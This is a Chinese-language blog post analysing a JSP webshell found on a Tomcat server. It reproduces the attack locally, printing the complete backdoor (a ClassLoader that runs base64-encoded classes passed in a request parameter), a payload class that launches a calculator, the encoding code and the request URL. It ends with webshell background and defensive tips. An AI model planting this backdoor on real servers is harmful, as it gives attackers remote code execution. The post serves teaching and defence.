描述
最近一個老同學跟我說他部署在阿里雲上的系統，在tomcat的目錄下出現了一個index.jsp文件，內容大致如下：
我一看發現這不就是一個木馬後門文件嗎，只需要通過參數ejiaogl傳入一個經過base64編碼的Class文件，這樣就可以解碼然後被類加載器加載，而我們知道類被加載的時候是可以執行static代碼塊的，而這個代碼塊可以任由攻擊者來指定要執行的代碼，是非常危險的，爲了更加形象我特意做了一個模擬攻擊。
模擬攻擊
準備木馬文件
準備一個Tomcat，直接啓動即可，默認訪問的是ROOT目錄下的index.jsp，準備好以上的木馬後門文件直接替換，文件如下：
<%!
//自定義了一個類加載器
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte[] b) {
return this.defineClass(b, 0, b.length);
}
}
public byte[] base64Decoder(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
//這裏還做了一個base64的兼容處理
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
//接收base64編碼的字符
String cls = request.getParameter("ejiaogl");
if(cls != null){
U u = new U(this.getClass().getClassLoader());
byte[] b = base64Decoder(cls);
Class clazz = u.g(b);
// 這裏需要注意一下，ClassLoader方式並不會執行靜態代碼塊，Class.forName可以執行靜態代碼塊的
clazz.newInstance();
}
%>
<html>
<body>
<h2>Hello World!</h2>
</body>
</html>
準備命令類
這裏準備一個簡單的命令類，打印日誌，同時調用本地的計算器：
import java.io.IOException;
public class Script {
static {
//非法操作
System.out.println("==Illegal operation==");
try {
//打開計算器
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
}
}
}
Base64字符串
需要讀取Class文件，然後轉換成一個Base64編碼的字符串：
private static byte[] loadBytes(Class<?> cls) throws IOException {
String name = cls.getCanonicalName().replaceAll("\.", "/") + ".class";
InputStream is = ClassLoader.getSystemResourceAsStream(name);
BufferedInputStream bis = new BufferedInputStream(is);
try {
int length = is.available();
byte[] bs = new byte[length];
bis.read(bs);
return bs;
} finally {
bis.close();
is.close();
}
}
// 編碼操作
byte[] b = loadBytes(Script.class);
String base64str = Base64.getEncoder().encodeToString(b);
以上生成的base64字符串如下所示：
yv66vgAAADQALgcAAgEABlNjcmlwdAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAAygpVgEABENvZGUJAAkACwcACgEAEGphdmEvbGFuZy9TeXN0ZW0MAAwADQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgADwEAFT09SWxsZWdhbCBvcGVyYXRpb249PQoAEQATBwASAQATamF2YS9pby9QcmludFN0cmVhbQwAFAAVAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAFwAZBwAYAQARamF2YS9sYW5nL1J1bnRpbWUMABoAGwEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsIAB0BAARjYWxjCgAXAB8MACAAIQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsHACMBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQANU3RhY2tNYXBUYWJsZQEABjxpbml0PgoAAwApDAAnAAYBAAR0aGlzAQAITFNjcmlwdDsBAApTb3VyY2VGaWxlAQALU2NyaXB0LmphdmEAIQABAAMAAAAAAAIACAAFAAYAAQAHAAAAVwACAAEAAAAWsgAIEg62ABC4ABYSHLYAHlenAARLsQABAAgAEQAUACIAAwAkAAAAEgAEAAAABgAIAAgAEQAJABUACwAlAAAAAgAAACYAAAAHAAJUBwAiAAABACcABgABAAcAAAAvAAEAAQAAAAUqtwAosQAAAAIAJAAAAAYAAQAAAAMAJQAAAAwAAQAAAAUAKgArAAAAAQAsAAAAAgAt
發送請求
在瀏覽器中訪問如下地址：
http://localhost:8080/index.jsp?ejiaogl=以上base64字符串
可以發現會生成相應的日誌，同時會調用服務器端上的計算器，簡單模擬了一次攻擊；
Webshell
告警
當然阿里雲是給出告警的，告警內容如下所示：
其中提到了index.jsp是一個木馬文件，同時指定了木馬類型爲Webshell；
簡介
webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種代碼執行環境，主要用於網站管理、服務器管理、權限管理等操作。使用方法簡單，只需上傳一個代碼文件，通過網址訪問，便可進行很多日常操作，極大地方便了使用者對網站和服務器的管理。正因如此，也有小部分人將代碼修改後當作後門程序使用，以達到控制網站服務器的目的。
一方面，webshell被站長常常用於網站管理、服務器管理等等，根據FSO權限的不同，作用有在線編輯網頁腳本、上傳下載文件、查看數據庫、執行任意程序命令等； 另一方面，被入侵者利用，從而達到控制網站服務器的目的。這些網頁腳本常稱爲WEB腳本木馬，比較流行的asp或php木馬，也有基於.NET的腳本木馬與JSP腳本木馬。國內常用的WebShell有海陽ASP木馬，Phpspy，c99shell等。
安全防範
- 建議用戶通過ftp來上傳、維護網頁，儘量不安裝asp的上傳程序。
- 對asp上傳程序的調用一定要進行身份認證，並只允許信任的人使用上傳程序。
- asp程序管理員的用戶名和密碼要有一定複雜性，不能過於簡單，還要注意定期更換。
- 到正規網站下載程序，下載後要對數據庫名稱和存放路徑進行修改，數據庫名稱要有一定複雜性。
- 要儘量保持程序是最新版本。
- 不要在網頁上加註後臺管理程序登陸頁面的鏈接。
- 爲防止程序有未知漏洞，可以在維護後刪除後臺管理程序的登陸頁面，下次維護時再通過上傳即可。
- 要時常備份數據庫等重要文件。
- 日常要多維護，並注意空間中是否有來歷不明的asp文件。
- 儘量關閉網站搜索功能，利用外部搜索工具，以防爆出數據。
- 利用白名單上傳文件，不在白名單內的一律禁止上傳，上傳目錄權限遵循最小權限原則。
參考
https://baike.baidu.com/item/webshell/966625
https://www.freebuf.com/articles/web/235651.html
總結
對於一個網站來說安全性其實是最重要的，但是對很多程序員來說往往會忽視這個問題，因爲很多公司都有專門的安全部門，很多安全問題其實並不會流轉到程序員手中；但我覺得我們程序員羣體還是很有必要去了解一些安全方面的知識，一方面是保證了我們系統的安全性，另一方面其實也讓我們對一些知識點理解的更加透徹，往往給你一種“還可以這麼玩”的感覺。